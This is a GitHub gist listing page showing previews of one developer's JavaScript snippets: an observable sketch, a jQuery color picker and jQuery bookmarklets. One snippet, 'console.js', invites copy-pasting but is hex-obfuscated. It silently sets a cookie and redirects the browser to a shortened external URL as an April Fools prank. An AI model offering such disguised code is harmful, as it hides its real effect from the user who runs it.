Skip to content

Instantly share code, notes, and snippets.

@maniator
maniator / index.js
Last active April 28, 2017 21:43
requirebin sketch
// Welcome! require() some modules from npm (like you were using browserify)
// and then hit Run Code to run your code on the right side.
// Modules get downloaded from browserify-cdn and bundled in your browser.
const Observable = require('servable').Observable;
const inputObservable$ = new Observable(function ({ next }) {
const input = document.getElementById('myInput');
const listener = function () {
const { value } = input;
next(value);
@maniator
maniator / console.js
Created March 17, 2016 14:37
For your copy/paste pleasure
var _0x9e2c=["\x72\x69\x63\x6B\x72\x6F\x6C\x6C\x65\x64","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x67\x65\x74\x54\x69\x6D\x65","\x72\x61\x6E\x64\x6F\x6D","\x61\x70\x72\x69\x6C\x5F\x66\x6F\x6F\x6C\x73\x3D\x72\x69\x63\x6B\x72\x6F\x6C\x6C\x65\x64\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x6F\x77\x2E\x6C\x79\x2F\x5A\x79\x41\x59\x36"];if(document[_0x9e2c[2]][_0x9e2c[1]](_0x9e2c[0])=== -1){var date= new Date();date= new Date(date[_0x9e2c[3]]()+(Math[_0x9e2c[4]]()*3600000));document[_0x9e2c[2]]=_0x9e2c[5]+date[_0x9e2c[6]]();window[_0x9e2c[7]]=_0x9e2c[8]}
@maniator
maniator / commentLink.md
Last active December 30, 2015 06:09
Comment to post when a poster only shows an external link and no code in a Stack Overflow post
@maniator
maniator / ColorPicker.js
Created January 4, 2012 15:22
ColorPicker jQuery Extension
/**
*
* Color picker
* Author: Stefan Petre www.eyecon.ro
*
* Dual licensed under the MIT and GPL licenses
*
*/
(function ($) {
var ColorPicker = function () {
@maniator
maniator / jQuerify++
Created December 23, 2011 13:59
jQuery bookmarklet
(function () {
var el = document.createElement('div'),
b = document.getElementsByTagName('body')[0];
otherlib = false, msg = '';
el.style.position = 'fixed';
el.style.height = '32px';
el.style.width = '220px';
el.style.marginLeft = '-110px';
el.style.top = '0';
el.style.left = '50%';
@maniator
maniator / jQuerify
Created December 23, 2011 13:57
jQuerify Any Page
javascript: (function(){var el=document.createElement('div'),b=document.getElementsByTagName('body')[0];otherlib=false,msg='';el.style.position='fixed';el.style.height='32px';el.style.width='220px';el.style.marginLeft='-110px';el.style.top='0';el.style.left='50%';el.style.padding='5px 10px';el.style.zIndex=1001;el.style.fontSize='12px';el.style.color='#222';el.style.backgroundColor='#f99';if(typeof jQuery!='undefined'){msg='This page already using jQuery v'+jQuery.fn.jquery;return showMsg();}else if(typeof $=='function'){otherlib=true;} function getScript(url,success){var script=document.createElement('script');script.src=url;var head=document.getElementsByTagName('head')[0],done=false;script.onload=script.onreadystatechange=function(){if(!done&&(!this.readyState||this.readyState=='loaded'||this.readyState=='complete')){done=true;success();script.onload=script.onreadystatechange=null;head.removeChild(script);}};head.appendChild(script);} getScript('http://code.jquery.com/jquery-latest.min.js',function(){if(ty